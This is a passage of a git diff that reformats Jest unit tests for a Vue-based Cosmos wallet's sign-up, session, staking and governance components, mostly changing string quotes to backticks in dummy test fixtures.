signUpSeed: `bar`, // <-- doesn#t check for correctness of seed + signUpName: `testaccount`, signUpWarning: true, errorCollection: false } @@ -111,82 +111,82 @@ describe("NISessionSignUp", () => { await wrapper.vm.onSubmit() expect( store.dispatch.mock.calls.find( - ([action]) => action === "setErrorCollection" + ([action]) => action === `setErrorCollection` )[1] ).toMatchObject({ - account: "testaccount", + account: `testaccount`, optin: false }) }) - it("should show error if warnings not acknowledged", () => { + it(`should show error if warnings not acknowledged`, () => { wrapper.setData({ fields: { - signUpPassword: "1234567890", - signUpPasswordConfirm: "1234567890", - signUpSeed: "bar", - signUpName: "testaccount", + signUpPassword: `1234567890`, + signUpPasswordConfirm: `1234567890`, + signUpSeed: `bar`, + signUpName: `testaccount`, signUpWarning: false } }) wrapper.vm.onSubmit() expect(store.commit).not.toHaveBeenCalled() - expect(wrapper.find(".tm-form-msg-error")).toBeDefined() + expect(wrapper.find(`.tm-form-msg-error`)).toBeDefined() }) - it("should show error if password is not 10 long", async () => { + it(`should show error if password is not 10 long`, async () => { wrapper.setData({ fields: { - signUpPassword: "123456789", - signUpPasswordConfirm: "1234567890", - signUpSeed: "bar", - signUpName: "testaccount", + signUpPassword: `123456789`, + signUpPasswordConfirm: `1234567890`, + signUpSeed: `bar`, + signUpName: `testaccount`, signUpWarning: true } }) await wrapper.vm.onSubmit() expect(store.commit.mock.calls[0]).toBeUndefined() - expect(wrapper.find(".tm-form-msg-error")).toBeDefined() + expect(wrapper.find(`.tm-form-msg-error`)).toBeDefined() }) - it("should show error if password is not confirmed", async () => { + it(`should show error if password is not confirmed`, async () => { wrapper.setData({ fields: { - signUpPassword: "1234567890", - signUpPasswordConfirm: "notthesame", - signUpSeed: "bar", - signUpName: "testaccount", + signUpPassword: `1234567890`, + signUpPasswordConfirm: `notthesame`, + signUpSeed: `bar`, + signUpName: `testaccount`, signUpWarning: true } }) await wrapper.vm.onSubmit() expect(store.commit.mock.calls[0]).toBeUndefined() - expect(wrapper.find(".tm-form-msg-error")).toBeDefined() + expect(wrapper.find(`.tm-form-msg-error`)).toBeDefined() }) - it("should show an error if account name is not 5 long", async () => { + it(`should show an error if account name is not 5 long`, async () => { wrapper.setData({ fields: { - signUpPassword: "1234567890", - signUpPasswordConfirm: "1234567890", - signUpSeed: "bar", - signUpName: "test", + signUpPassword: `1234567890`, + signUpPasswordConfirm: `1234567890`, + signUpSeed: `bar`, + signUpName: `test`, signUpWarning: true } }) await wrapper.vm.onSubmit() expect(store.commit.mock.calls[0]).toBeUndefined() - expect(wrapper.find(".tm-form-msg-error")).toBeDefined() + expect(wrapper.find(`.tm-form-msg-error`)).toBeDefined() }) - it("should not continue if creation failed", async () => { + it(`should not continue if creation failed`, async () => { store.dispatch = jest.fn(() => Promise.resolve(null)) wrapper.setData({ fields: { - signUpPassword: "1234567890", - signUpPasswordConfirm: "1234567890", - signUpSeed: "bar", - signUpName: "testaccount", + signUpPassword: `1234567890`, + signUpPasswordConfirm: `1234567890`, + signUpSeed: `bar`, + signUpName: `testaccount`, signUpWarning: true } }) @@ -194,19 +194,19 @@ describe("NISessionSignUp", () => { expect(store.commit).not.toHaveBeenCalled() }) - it("should show a notification if creation failed", async () => { - store.dispatch = jest.fn(() => Promise.reject({ message: "test" })) + it(`should show a notification if creation failed`, async () => { + store.dispatch = jest.fn(() => Promise.reject({ message: `test` })) wrapper.setData({ fields: { - signUpPassword: "1234567890", - signUpPasswordConfirm: "1234567890", - signUpSeed: "bar", - signUpName: "testaccount", + signUpPassword: `1234567890`, + signUpPasswordConfirm: `1234567890`, + signUpSeed: `bar`, + signUpName: `testaccount`, signUpWarning: true } }) await wrapper.vm.onSubmit() - expect(store.commit.mock.calls[0][0]).toEqual("notifyError") - expect(store.commit.mock.calls[0][1].body).toEqual("test") + expect(store.commit.mock.calls[0][0]).toEqual(`notifyError`) + expect(store.commit.mock.calls[0][1].body).toEqual(`test`) }) }) diff --git a/test/unit/specs/components/common/TmSessionWelcome.spec.js b/test/unit/specs/components/common/TmSessionWelcome.spec.js index eae97be353..fa9a2a6e32 100644 --- a/test/unit/specs/components/common/TmSessionWelcome.spec.js +++ b/test/unit/specs/components/common/TmSessionWelcome.spec.js @@ -7,7 +7,7 @@ import LiSession from "common/TmLiSession" const localVue = createLocalVue() localVue.use(Vuex) -describe("NISessionWelcome", () => { +describe(`NISessionWelcome`, () => { let wrapper, store, getters let accounts = [] @@ -25,48 +25,48 @@ describe("NISessionWelcome", () => { }) }) - describe("without accounts", () => { - it("should open the help modal on click", () => { + describe(`without accounts`, () => { + it(`should open the help modal on click`, () => { wrapper - .findAll(".tm-session-header a") + .findAll(`.tm-session-header a`) .at(1) - .trigger("click") - expect(store.commit.mock.calls[0]).toEqual(["setModalHelp", true]) + .trigger(`click`) + expect(store.commit.mock.calls[0]).toEqual([`setModalHelp`, true]) }) - it("should not show sign-in link since we have no accounts", () => { - wrapper.find(LiSession).trigger("click") - expect(store.commit.mock.calls[0][1]).not.toEqual("sign-in") + it(`should not show sign-in link since we have no accounts`, () => { + wrapper.find(LiSession).trigger(`click`) + expect(store.commit.mock.calls[0][1]).not.toEqual(`sign-in`) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) }) - describe("with accounts", () => { + describe(`with accounts`, () => { beforeAll(() => { - accounts.push("foo", "bar") + accounts.push(`foo`, `bar`) wrapper.update() }) - it("should show sign-in link since we have accounts", () => { - wrapper.find(LiSession).trigger("click") - expect(store.commit.mock.calls[0][1]).toEqual("sign-in") + it(`should show sign-in link since we have accounts`, () => { + wrapper.find(LiSession).trigger(`click`) + expect(store.commit.mock.calls[0][1]).toEqual(`sign-in`) }) - it("sets desired login method", () => { - wrapper.findAll(LiSession).trigger("click") - expect(store.commit.mock.calls[0][0]).toBe("setModalSessionState") + it(`sets desired login method`, () => { + wrapper.findAll(LiSession).trigger(`click`) + expect(store.commit.mock.calls[0][0]).toBe(`setModalSessionState`) expect(store.commit.mock.calls.map(args => args[1])).toEqual([ - "sign-in", - "sign-up", - "import", - "hardware" + `sign-in`, + `sign-up`, + `import`, + `hardware` ]) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) }) diff --git a/test/unit/specs/components/common/TmUserPane.spec.js b/test/unit/specs/components/common/TmUserPane.spec.js index ec049bd668..7aa8a630f7 100644 --- a/test/unit/specs/components/common/TmUserPane.spec.js +++ b/test/unit/specs/components/common/TmUserPane.spec.js @@ -2,7 +2,7 @@ import TmUserPane from "common/TmUserPane" import { TmListItem } from "@tendermint/ui" import setup from "../../../helpers/vuex-setup" -describe("TmUserPane", () => { +describe(`TmUserPane`, () => { let wrapper, router, store, instance let { mount } = setup() @@ -11,29 +11,29 @@ describe("TmUserPane", () => { store = instance.store router = instance.router wrapper = instance.wrapper - await store.dispatch("signIn", { - account: "default", - password: "1234567890" + await store.dispatch(`signIn`, { + account: `default`, + password: `1234567890` }) wrapper.update() }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should show the active account name", () => { - expect(wrapper.html()).toContain("default") + it(`should show the active account name`, () => { + expect(wrapper.html()).toContain(`default`) }) - it("should not show the active account name if signed out", async () => { - await store.dispatch("signOut") + it(`should not show the active account name if signed out`, async () => { + await store.dispatch(`signOut`) wrapper.update() expect(wrapper.html()).toBeUndefined() }) - it("should redirect to the preferences page if signed in", () => { - wrapper.find(TmListItem).trigger("click") - expect(router.currentRoute.path).toBe("/preferences") + it(`should redirect to the preferences page if signed in`, () => { + wrapper.find(TmListItem).trigger(`click`) + expect(router.currentRoute.path).toBe(`/preferences`) }) }) diff --git a/test/unit/specs/components/common/VmToolBar.spec.js b/test/unit/specs/components/common/VmToolBar.spec.js index 7860972676..5aed00da11 100644 --- a/test/unit/specs/components/common/VmToolBar.spec.js +++ b/test/unit/specs/components/common/VmToolBar.spec.js @@ -1,7 +1,7 @@ import setup from "../../../helpers/vuex-setup" import htmlBeautify from "html-beautify" import VmToolBar from "common/VmToolBar" -describe("VmToolBar", () => { +describe(`VmToolBar`, () => { let wrapper, store, router let { mount } = setup() @@ -13,35 +13,35 @@ describe("VmToolBar", () => { wrapper.update() }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("sets the helper modal", () => { + it(`sets the helper modal`, () => { wrapper.vm.enableModalHelp() wrapper.update() expect(store.state.config.modals.help.active).toBe(true) }) - it("call dispatch to sign the user out", () => { + it(`call dispatch to sign the user out`, () => { wrapper.vm.signOut() wrapper.update() - expect(store.dispatch).toHaveBeenCalledWith("signOut") + expect(store.dispatch).toHaveBeenCalledWith(`signOut`) }) - it("goes back correctly and updates the state", () => { - expect(router.currentRoute.fullPath).toBe("/") + it(`goes back correctly and updates the state`, () => { + expect(router.currentRoute.fullPath).toBe(`/`) - router.push("/staking") + router.push(`/staking`) expect(store.state.user.history.length).toBe(1) - expect(router.currentRoute.fullPath).toBe("/staking/My Stake/") + expect(router.currentRoute.fullPath).toBe(`/staking/My Stake/`) wrapper.vm.back() expect(store.state.user.history.length).toBe(0) - expect(router.currentRoute.fullPath).toBe("/") + expect(router.currentRoute.fullPath).toBe(`/`) wrapper.vm.back() expect(store.state.user.history.length).toBe(0) - expect(router.currentRoute.fullPath).toBe("/") + expect(router.currentRoute.fullPath).toBe(`/`) }) }) diff --git a/test/unit/specs/components/govern/ChartVotes.spec.js b/test/unit/specs/components/govern/ChartVotes.spec.js index 8da5c4a5a9..37c241cc2a 100644 --- a/test/unit/specs/components/govern/ChartVotes.spec.js +++ b/test/unit/specs/components/govern/ChartVotes.spec.js @@ -6,9 +6,9 @@ import ChartVotes from "renderer/components/govern/ChartVotes" const localVue = createLocalVue() localVue.use(Vuex) -jest.mock("chart.js") +jest.mock(`chart.js`, () => () => ({})) -describe("ChartVotes", () => { +describe(`ChartVotes`, () => { let wrapper, store, getters let propsData = { @@ -18,7 +18,7 @@ describe("ChartVotes", () => { reject: 5, abstain: 15 }, - size: "lg" + size: `lg` } beforeEach(() => { @@ -31,7 +31,7 @@ describe("ChartVotes", () => { wrapper = mount(ChartVotes, { propsData, localVue, store }) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) }) diff --git a/test/unit/specs/components/govern/LiProposal.spec.js b/test/unit/specs/components/govern/LiProposal.spec.js index 75dd6600da..782d82863b 100644 --- a/test/unit/specs/components/govern/LiProposal.spec.js +++ b/test/unit/specs/components/govern/LiProposal.spec.js @@ -1,22 +1,20 @@ import { shallow } from "@vue/test-utils" import LiProposal from "renderer/components/govern/LiProposal" -describe("LiProposal", () => { +describe(`LiProposal`, () => { let wrapper const propsData = { proposal: { - id: "d93bf0eu", + id: `d93bf0eu`, createdAt: 1493627091000, - validatorId: "serena-korgan", - title: - "An dixit, nitido! Qui ab plangi, frustraque lanam, credunt nec postquam", - type: "text", + validatorId: `serena-korgan`, + title: `An dixit, nitido! Qui ab plangi, frustraque lanam, credunt nec postquam`, + type: `text`, flags: { passed: false }, data: { - text: - "Pennis deserto, per agunt quibus unde, formae pennis nobis primus. Scabrae tu secuti certans, meos tum aera primaque, **inane cerae tenetis** fallere, suis ad ne, incepto? Patulos illis versus. Unam ait census et nullaque *teneat*, laceraret [adiere pendentibus](http://arbor.com/achillis.aspx). [Repulsae](http://et.io/aevi.php) dicere: teneri, in tenent erubuisse iuncti, natant paterni, in **infringat Berecyntius** quae, abolere faveatque." + text: `Pennis deserto, per agunt quibus unde, formae pennis nobis primus. Scabrae tu secuti certans, meos tum aera primaque, **inane cerae tenetis** fallere, suis ad ne, incepto? Patulos illis versus. Unam ait census et nullaque *teneat*, laceraret [adiere pendentibus](http://arbor.com/achillis.aspx). [Repulsae](http://et.io/aevi.php) dicere: teneri, in tenent erubuisse iuncti, natant paterni, in **infringat Berecyntius** quae, abolere faveatque.` }, votes: { yes: 55, @@ -31,28 +29,28 @@ describe("LiProposal", () => { wrapper = shallow(LiProposal, { propsData }) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("has the right title", () => { - expect(wrapper.find(".title").text()).toBe( - "text An dixit, nitido! Qui ab plangi, frustraque lanam, credunt nec postquam" + it(`has the right title`, () => { + expect(wrapper.find(`.title`).text()).toBe( + `text An dixit, nitido! Qui ab plangi, frustraque lanam, credunt nec postquam` ) }) - it("shows the right author", () => { - expect(wrapper.find(".author").text()).toBe("serena-korgan") + it(`shows the right author`, () => { + expect(wrapper.find(`.author`).text()).toBe(`serena-korgan`) }) - it("has the right date", () => { - expect(wrapper.find(".date").text()).toBe("a few seconds ago") + it(`has the right date`, () => { + expect(wrapper.find(`.date`).text()).toBe(`a few seconds ago`) }) - it("has a link to the proposal page", () => { + it(`has a link to the proposal page`, () => { expect(wrapper.vm.proposalLink).toEqual({ - name: "proposal", - params: { proposal: "d93bf0eu" } + name: `proposal`, + params: { proposal: `d93bf0eu` } }) }) }) diff --git a/test/unit/specs/components/staking/LiValidator.spec.js b/test/unit/specs/components/staking/LiValidator.spec.js index 49ea84b66d..9b9df007c9 100644 --- a/test/unit/specs/components/staking/LiValidator.spec.js +++ b/test/unit/specs/components/staking/LiValidator.spec.js @@ -1,7 +1,7 @@ import setup from "../../../helpers/vuex-setup" import LiValidator from "renderer/components/staking/LiValidator" -describe("LiValidator", () => { +describe(`LiValidator`, () => { let wrapper, store, delegate let instance = setup() @@ -9,7 +9,7 @@ describe("LiValidator", () => { let test = instance.mount(LiValidator, { propsData: { delegate: { - id: "abc", + id: `abc`, description: {} } } @@ -17,79 +17,79 @@ describe("LiValidator", () => { wrapper = test.wrapper store = test.store - store.commit("setAtoms", 1337) - await store.dispatch("getDelegates") + store.commit(`setAtoms`, 1337) + await store.dispatch(`getDelegates`) delegate = store.state.delegates.delegates[0] - delegate.percent_of_vote = "22%" + delegate.percent_of_vote = `22%` delegate.signing_info = { start_height: 0, index_offset: 465400, - jailed_until: "1970-01-01T00:00:00Z", + jailed_until: `1970-01-01T00:00:00Z`, signed_blocks_counter: 9878 } wrapper.setData({ delegate }) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should calculate the validator's power ratio", () => { + it(`should calculate the validator's power ratio`, () => { let ratio = wrapper.vm.delegate.tokens / wrapper.vm.delegates.globalPower expect(wrapper.vm.powerRatio).toBe(ratio) }) - it("should show the voting power", () => { - expect(wrapper.html()).toContain("22%") + it(`should show the voting power`, () => { + expect(wrapper.html()).toContain(`22%`) }) - it("should show the validator status", () => { - expect(wrapper.vm.status).toBe("This validator is actively validating") + it(`should show the validator status`, () => { + expect(wrapper.vm.status).toBe(`This validator is actively validating`) // Jailed wrapper.vm.delegate = { revoked: true } expect(wrapper.vm.status).toBe( - "This validator has been jailed and is not currently validating" + `This validator has been jailed and is not currently validating` ) // Is not a validator wrapper.vm.delegate = { voting_power: 0 } expect(wrapper.vm.status).toBe( - "This validator has declared candidacy but does not have enough voting power yet" + `This validator has declared candidacy but does not have enough voting power yet` ) }) - it("should show the validator's uptime", () => { - expect(wrapper.vm.uptime).toBe("98.78%") - expect(wrapper.html()).toContain("98.78%") + it(`should show the validator's uptime`, () => { + expect(wrapper.vm.uptime).toBe(`98.78%`) + expect(wrapper.html()).toContain(`98.78%`) }) - it("should show the validator's comission", () => { - expect(wrapper.html()).toContain("0%") + it(`should show the validator's comission`, () => { + expect(wrapper.html()).toContain(`0%`) }) - it("should show the type of the candidate", () => { + it(`should show the type of the candidate`, () => { wrapper.vm.delegate = { revoked: false, isValidator: false } - expect(wrapper.vm.delegateType).toBe("Candidate") + expect(wrapper.vm.delegateType).toBe(`Candidate`) wrapper.vm.delegate = { revoked: false, isValidator: true } - expect(wrapper.vm.delegateType).toBe("Validator") + expect(wrapper.vm.delegateType).toBe(`Validator`) wrapper.vm.delegate = { revoked: true, isValidator: false } - expect(wrapper.vm.delegateType).toBe("Revoked") + expect(wrapper.vm.delegateType).toBe(`Revoked`) wrapper.vm.delegate = { revoked: true, isValidator: true } - expect(wrapper.vm.delegateType).toBe("Revoked") + expect(wrapper.vm.delegateType).toBe(`Revoked`) }) }) diff --git a/test/unit/specs/components/staking/PageStaking.spec.js b/test/unit/specs/components/staking/PageStaking.spec.js index 86ff1ab567..57ef64c007 100644 --- a/test/unit/specs/components/staking/PageStaking.spec.js +++ b/test/unit/specs/components/staking/PageStaking.spec.js @@ -3,7 +3,7 @@ import htmlBeautify from "html-beautify" import PageStaking from "renderer/components/staking/PageStaking" import lcdClientMock from "renderer/connectors/lcdClientMock.js" -describe("PageStaking", () => { +describe(`PageStaking`, () => { let wrapper, store let { mount } = setup() @@ -12,13 +12,13 @@ describe("PageStaking", () => { wrapper = instance.wrapper store = instance.store - store.commit("setConnected", true) + store.commit(`setConnected`, true) store.state.user.address = lcdClientMock.addresses[0] - store.commit("setAtoms", 1337) + store.commit(`setAtoms`, 1337) wrapper.update() }) - it("has the expected html structure", async () => { + it(`has the expected html structure`, async () => { // after importing the @tendermint/ui components from modules // the perfect scroll plugin needs a $nextTick and a wrapper.update // to work properly in the tests (snapshots weren't matching) @@ -28,39 +28,39 @@ describe("PageStaking", () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("should show the search on click", () => { - wrapper.find(".tm-tool-bar i.search").trigger("click") - expect(wrapper.contains(".tm-modal-search")).toBe(true) + it(`should show the search on click`, () => { + wrapper.find(`.tm-tool-bar i.search`).trigger(`click`) + expect(wrapper.contains(`.tm-modal-search`)).toBe(true) }) - it("should refresh candidates on click", () => { + it(`should refresh candidates on click`, () => { wrapper - .findAll(".tm-tool-bar i") + .findAll(`.tm-tool-bar i`) .at(1) - .trigger("click") - expect(store.dispatch).toHaveBeenCalledWith("updateDelegates") + .trigger(`click`) + expect(store.dispatch).toHaveBeenCalledWith(`updateDelegates`) }) - it("should sort the delegates by selected property", () => { - wrapper.vm.sort.property = "owner" - wrapper.vm.sort.order = "desc" + it(`should sort the delegates by selected property`, () => { + wrapper.vm.sort.property = `owner` + wrapper.vm.sort.order = `desc` expect( wrapper.vm.sortedFilteredEnrichedDelegates.map(x => x.owner) ).toEqual(lcdClientMock.validators) - wrapper.vm.sort.property = "owner" - wrapper.vm.sort.order = "asc" + wrapper.vm.sort.property = `owner` + wrapper.vm.sort.order = `asc` expect( wrapper.vm.sortedFilteredEnrichedDelegates.map(x => x.owner) ).toEqual(lcdClientMock.validators.reverse()) }) - it("should filter the delegates", () => { - store.commit("setSearchVisible", ["delegates", true]) - store.commit("setSearchQuery", [ - "delegates", + it(`should filter the delegates`, () => { + store.commit(`setSearchVisible`, [`delegates`, true]) + store.commit(`setSearchQuery`, [ + `delegates`, lcdClientMock.validators[2].substr(20, 26) ]) expect( @@ -68,8 +68,8 @@ describe("PageStaking", () => { ).toEqual([lcdClientMock.validators[2]]) wrapper.update() expect(wrapper.vm.$el).toMatchSnapshot() - store.commit("setSearchQuery", [ - "delegates", + store.commit(`setSearchQuery`, [ + `delegates`, lcdClientMock.validators[1].substr(20, 26) ]) expect( @@ -77,17 +77,17 @@ describe("PageStaking", () => { ).toEqual([lcdClientMock.validators[1]]) }) - it("should update 'somethingToSearch' when there's nothing to search", () => { + it(`should update 'somethingToSearch' when there's nothing to search`, () => { expect(wrapper.vm.somethingToSearch).toBe(true) let delegates = store.state.delegates.delegates - store.commit("setDelegates", []) + store.commit(`setDelegates`, []) expect(wrapper.vm.somethingToSearch).toBe(false) - store.commit("setDelegates", delegates) + store.commit(`setDelegates`, delegates) expect(wrapper.vm.somethingToSearch).toBe(true) }) - it("should not show search when there is nothing to search", () => { + it(`should not show search when there is nothing to search`, () => { let { wrapper } = mount(PageStaking, { getters: { delegates: () => ({ @@ -95,7 +95,7 @@ describe("PageStaking", () => { loading: true }) }, - stubs: { "tm-data-loading": "" } + stubs: { "tm-data-loading": `` } }) wrapper.update() diff --git a/test/unit/specs/components/staking/PageValidator.spec.js b/test/unit/specs/components/staking/PageValidator.spec.js index 0cfcff89c1..4e1f0a44ca 100644 --- a/test/unit/specs/components/staking/PageValidator.spec.js +++ b/test/unit/specs/components/staking/PageValidator.spec.js @@ -5,30 +5,30 @@ import PageValidator from "renderer/components/staking/PageValidator" import { mount } from "@vue/test-utils" const delegate = { - owner: "1a2b3c", + owner: `1a2b3c`, pub_key: { - type: "AC26791624DE60", - data: "dlN5SLqeT3LT9WsUK5iuVq1eLQV2Q1JQAuyN0VwSWK0=" + type: `AC26791624DE60`, + data: `dlN5SLqeT3LT9WsUK5iuVq1eLQV2Q1JQAuyN0VwSWK0=` }, - tokens: "19", - delegator_shares: "19", + tokens: `19`, + delegator_shares: `19`, description: { - details: "Herr Schmidt", - website: "www.schmidt.de", - moniker: "herr_schmidt_revoked", - country: "DE" + details: `Herr Schmidt`, + website: `www.schmidt.de`, + moniker: `herr_schmidt_revoked`, + country: `DE` }, revoked: false, status: 2, - bond_height: "0", + bond_height: `0`, bond_intra_tx_counter: 6, proposer_reward_pool: null, - commission: "0.05", - commission_max: "0.1", - commission_change_rate: "0.01", - commission_change_today: "0.005", - prev_bonded_shares: "0", - voting_power: "10" + commission: `0.05`, + commission_max: `0.1`, + commission_change_rate: `0.01`, + commission_change_today: `0.005`, + prev_bonded_shares: `0`, + voting_power: `10` } const getterValues = { @@ -52,22 +52,22 @@ const getterValues = { wallet: { address: `cosmosaccaddr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctpesxxn9` } } -describe("PageValidator", () => { +describe(`PageValidator`, () => { let wrapper, store let { mount } = setup() beforeEach(() => { let instance = mount(PageValidator, { doBefore: ({ router, store }) => { - router.push("/staking/validators/1a2b3c") - store.commit("setDelegates", [delegate]) + router.push(`/staking/validators/1a2b3c`) + store.commit(`setDelegates`, [delegate]) } }) wrapper = instance.wrapper store = instance.store }) - it("has the expected html structure", async () => { + it(`has the expected html structure`, async () => { // after importing the @tendermint/ui components from modules // the perfect scroll plugin needs a $nextTick and a wrapper.update // to work properly in the tests (snapshots weren't matching) @@ -77,18 +77,18 @@ describe("PageValidator", () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should return one delegate based on route params", () => { - expect(wrapper.vm.validator.owner).toEqual("1a2b3c") + it(`should return one delegate based on route params`, () => { + expect(wrapper.vm.validator.owner).toEqual(`1a2b3c`) }) - it("shows a default avatar", () => { + it(`shows a default avatar`, () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("shows an error if the validator couldn't be found", () => { + it(`shows an error if the validator couldn't be found`, () => { let instance = mount(PageValidator, { doBefore: ({ router }) => { - router.push("/staking/validators/1a2b3c") + router.push(`/staking/validators/1a2b3c`) }, getters: { config: () => ({ desktop: false }), @@ -103,20 +103,20 @@ describe("PageValidator", () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("shows the selfBond", async () => { - await store.commit("setSelfBond", { + it(`shows the selfBond`, async () => { + await store.commit(`setSelfBond`, { validator: { - owner: "1a2b3c", - delegator_shares: "4242" + owner: `1a2b3c`, + delegator_shares: `4242` }, ratio: 0.01 }) wrapper.update() - expect(wrapper.find("#validator-profile__self-bond").text()).toBe("1.00 %") + expect(wrapper.find(`#validator-profile__self-bond`).text()).toBe(`1.00 %`) }) - it("should show the validator status", () => { - expect(wrapper.vm.status).toBe("This validator is actively validating") + it(`should show the validator status`, () => { + expect(wrapper.vm.status).toBe(`This validator is actively validating`) // Jailed store.state.delegates.delegates = [ Object.assign({}, delegate, { @@ -125,7 +125,7 @@ describe("PageValidator", () => { ] wrapper.update() expect(wrapper.vm.status).toBe( - "This validator has been jailed and is not currently validating" + `This validator has been jailed and is not currently validating` ) // Is not a validator store.state.delegates.delegates = [ @@ -135,7 +135,7 @@ describe("PageValidator", () => { ] wrapper.update() expect(wrapper.vm.status).toBe( - "This validator has declared candidacy but does not have enough voting power yet" + `This validator has declared candidacy but does not have enough voting power yet` ) }) @@ -201,10 +201,10 @@ describe("PageValidator", () => { // ) // }) - it("shows a validator as candidate if he has no voting_power", () => { + it(`shows a validator as candidate if he has no voting_power`, () => { store.state.delegates.delegates = [ Object.assign({}, delegate, { - voting_power: "0" + voting_power: `0` }) ] wrapper.update() @@ -214,7 +214,7 @@ describe("PageValidator", () => { // ) }) - it("shows that a validator is revoked", () => { + it(`shows that a validator is revoked`, () => { store.state.delegates.delegates = [ Object.assign({}, delegate, { revoked: true @@ -416,68 +416,67 @@ describe(`onStake`, () => { expect($store.dispatch.mock.calls).toEqual([ [ - "submitDelegation", + `submitDelegation`, { delegations: [ { atoms: 10, delegate: { - bond_height: "0", + bond_height: `0`, bond_intra_tx_counter: 6, - commission: "0.05", - commission_change_rate: "0.01", - commission_change_today: "0.005", - commission_max: "0.1", - delegator_shares: "19", + commission: `0.05`, + commission_change_rate: `0.01`, + commission_change_today: `0.005`, + commission_max: `0.1`, + delegator_shares: `19`, description: { - country: "DE", - details: "Herr Schmidt", - moniker: "herr_schmidt_revoked", - website: "www.schmidt.de" + country: `DE`, + details: `Herr Schmidt`, + moniker: `herr_schmidt_revoked`, + website: `www.schmidt.de` }, keybase: undefined, - owner: "1a2b3c", - prev_bonded_shares: "0", + owner: `1a2b3c`, + prev_bonded_shares: `0`, proposer_reward_pool: null, pub_key: { - data: "dlN5SLqeT3LT9WsUK5iuVq1eLQV2Q1JQAuyN0VwSWK0=", - type: "AC26791624DE60" + data: `dlN5SLqeT3LT9WsUK5iuVq1eLQV2Q1JQAuyN0VwSWK0=`, + type: `AC26791624DE60` }, revoked: false, selfBond: 0.01, status: 2, - tokens: "19", - voting_power: "10" + tokens: `19`, + voting_power: `10` } } ] } ], [ - "sendTx", + `sendTx`, { begin_unbondings: [], delegations: [ { - delegation: { amount: "10", denom: "atom" }, - delegator_addr: - "cosmosaccaddr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctpesxxn9", - validator_addr: "1a2b3c" + delegation: { amount: `10`, denom: `atom` }, + delegator_addr: `cosmosaccaddr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctpesxxn9`, + validator_addr: `1a2b3c` } ], - to: "cosmosaccaddr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctpesxxn9", - type: "updateDelegations" + to: `cosmosaccaddr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctpesxxn9`, + type: `updateDelegations` } ] ]) expect($store.commit.mock.calls).toEqual([ - ["setAtoms", 32], + [`setAtoms`, 32], [ - "notify", + `notify`, { - body: "You have successfully staked your atoms.", - title: "Successful Staking!" + body: `You have successfully staked your atoms.`, + title: `Successful Staking!` } ] ]) diff --git a/test/unit/specs/components/staking/PanelSort.spec.js b/test/unit/specs/components/staking/PanelSort.spec.js index 0fad338dbb..4e39127e2f 100644 --- a/test/unit/specs/components/staking/PanelSort.spec.js +++ b/test/unit/specs/components/staking/PanelSort.spec.js @@ -1,7 +1,7 @@ import setup from "../../../helpers/vuex-setup" import PanelSort from "renderer/components/staking/PanelSort" -describe("PanelSort", () => { +describe(`PanelSort`, () => { let wrapper let instance = setup() @@ -9,16 +9,16 @@ describe("PanelSort", () => { let test = instance.mount(PanelSort, { propsData: { sort: { - order: "asc" + order: `asc` }, properties: [ { - value: "id", - title: "ID" + value: `id`, + title: `ID` }, { - value: "amount", - title: "AMOUNT" + value: `amount`, + title: `AMOUNT` } ] } @@ -26,31 +26,31 @@ describe("PanelSort", () => { wrapper = test.wrapper }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should show an arrow according to ordering", () => { - let firstCol = wrapper.vm.$el.querySelector(".sort-by") - expect(firstCol.className.split(" ")).not.toContain("asc") - expect(firstCol.className.split(" ")).not.toContain("desc") + it(`should show an arrow according to ordering`, () => { + let firstCol = wrapper.vm.$el.querySelector(`.sort-by`) + expect(firstCol.className.split(` `)).not.toContain(`asc`) + expect(firstCol.className.split(` `)).not.toContain(`desc`) firstCol.click() - expect(firstCol.className.split(" ")).not.toContain("desc") - expect(firstCol.className.split(" ")).toContain("asc") + expect(firstCol.className.split(` `)).not.toContain(`desc`) + expect(firstCol.className.split(` `)).toContain(`asc`) firstCol.click() - expect(firstCol.className.split(" ")).not.toContain("asc") - expect(firstCol.className.split(" ")).toContain("desc") + expect(firstCol.className.split(` `)).not.toContain(`asc`) + expect(firstCol.className.split(` `)).toContain(`desc`) firstCol.click() - expect(firstCol.className.split(" ")).toContain("asc") - expect(firstCol.className.split(" ")).not.toContain("desc") + expect(firstCol.className.split(` `)).toContain(`asc`) + expect(firstCol.className.split(` `)).not.toContain(`desc`) }) - it("should only sort one col actively", () => { - let firstCol = wrapper.vm.$el.querySelectorAll(".sort-by")[0] - let secondCol = wrapper.vm.$el.querySelectorAll(".sort-by")[1] + it(`should only sort one col actively`, () => { + let firstCol = wrapper.vm.$el.querySelectorAll(`.sort-by`)[0] + let secondCol = wrapper.vm.$el.querySelectorAll(`.sort-by`)[1] firstCol.click() secondCol.click() - expect(firstCol.className.split(" ")).not.toContain("asc") - expect(secondCol.className.split(" ")).toContain("asc") + expect(firstCol.className.split(` `)).not.toContain(`asc`) + expect(secondCol.className.split(` `)).toContain(`asc`) }) }) diff --git a/test/unit/specs/components/staking/TabMyStake.spec.js b/test/unit/specs/components/staking/TabMyStake.spec.js index b4bcaa2275..1dec2644d4 100644 --- a/test/unit/specs/components/staking/TabMyStake.spec.js +++ b/test/unit/specs/components/staking/TabMyStake.spec.js @@ -5,78 +5,78 @@ const delegates = [ id: 